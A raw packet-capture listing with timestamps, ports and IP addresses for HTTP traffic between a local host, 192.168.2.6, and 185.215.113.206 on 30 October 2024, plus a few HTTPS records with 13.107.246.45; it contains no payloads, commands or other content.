Oct 30, 2024 04:34:46.706283092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706283092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706290007 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706315041 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706372023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706394911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706403971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706408978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706420898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706423998 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706445932 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706571102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706582069 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706592083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706603050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706609011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706620932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706633091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706633091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706645012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706657887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706660032 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706660032 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706670046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706695080 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706856966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706867933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706876993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706888914 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706890106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706902981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706903934 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706918001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706928015 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706931114 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706939936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706943989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706958055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.706969976 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.706979990 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707098961 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707112074 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707144022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707154989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707165956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707179070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707192898 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707196951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707210064 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707225084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707225084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707304955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707360029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707370996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707381964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707393885 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707405090 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707416058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707422972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707422972 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707427979 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707441092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707453012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707454920 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707479954 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707540035 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707700014 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707712889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707724094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707734108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707746983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707757950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707770109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707773924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707773924 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707782030 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707791090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707796097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707807064 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707809925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707822084 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707834005 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707834005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.707859993 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.707942009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708004951 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708014965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708026886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708039045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708050013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708060980 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708069086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708117008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708117008 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708153009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708164930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708175898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708194971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708206892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708218098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708220959 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708231926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708241940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708245993 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708282948 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708282948 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708439112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708451033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708461046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708481073 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708489895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708493948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708506107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708514929 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708518982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708530903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708542109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708544016 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708569050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708570004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708570004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708594084 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708690882 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708708048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708719969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708722115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708731890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708745003 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708754063 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708766937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708777905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708781958 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708782911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708789110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708796024 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708909988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.708941936 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708952904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708964109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708976984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.708988905 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709002018 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709012985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709012985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709026098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709038019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709039927 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709039927 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709050894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709064007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709136009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709201097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709213018 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709224939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709235907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709247112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709249020 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709258080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709269047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709279060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709283113 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709296942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709309101 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709309101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709335089 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709347010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709357977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709368944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709374905 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709391117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709403038 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709414005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709417105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709417105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709428072 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709450960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709532976 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709575891 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709587097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709598064 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709610939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709623098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709635019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709649086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709686995 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709754944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709768057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709779978 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709793091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709805012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709809065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709819078 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.709980011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.709991932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710002899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710009098 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.710016966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710026026 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.710031033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710038900 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.710042953 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710067987 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.710103035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710119009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.710120916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710134983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710146904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710149050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.710160017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.710175037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.710175037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.710419893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.712882042 CET	443	51097	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.713278055 CET	51097	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.713293076 CET	443	51097	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.713735104 CET	51097	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.713738918 CET	443	51097	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.722476959 CET	443	51094	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.722670078 CET	443	51094	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.722773075 CET	51094	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.722943068 CET	51094	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.722951889 CET	443	51094	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.722981930 CET	51094	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.722985983 CET	443	51094	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.728032112 CET	51102	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.728045940 CET	443	51102	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.728267908 CET	51102	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.728672981 CET	51102	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:46.728684902 CET	443	51102	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:46.787936926 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.787950993 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.787961960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.788285971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.790981054 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791007042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791018009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791105032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791110039 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.791110039 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.791115999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791127920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791138887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791157961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791167021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791177034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.791377068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.828746080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.828792095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.828803062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.828814983 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.828834057 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.828851938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.828851938 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.828865051 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.828876019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.828886986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.828895092 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.828939915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.828939915 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.828958035 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.828968048 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829015017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829026937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829135895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829145908 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829158068 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829164028 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829169989 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829180956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829184055 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829207897 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829226971 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829279900 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829291105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829301119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829324961 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829359055 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829370975 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829370975 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829391003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829402924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829420090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829420090 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829551935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829562902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829579115 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829582930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829596043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829607964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829610109 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829613924 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829621077 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829628944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829639912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829641104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829664946 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829798937 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829809904 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829818964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829827070 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829830885 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829842091 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829843044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829854965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829885006 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829916954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829926968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829936028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829946041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.829998970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.829998970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830018044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830029011 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830039024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830116034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830152988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830163956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830173969 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830185890 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830202103 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830239058 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830279112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830290079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830302000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830318928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830327988 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830331087 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830338001 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830379963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830379963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830492973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830517054 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830527067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830538034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830545902 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830558062 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830631971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830641031 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:46.830645084 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:46.830657005 CET	80	50987	185.215.113.206	192.168.2.6
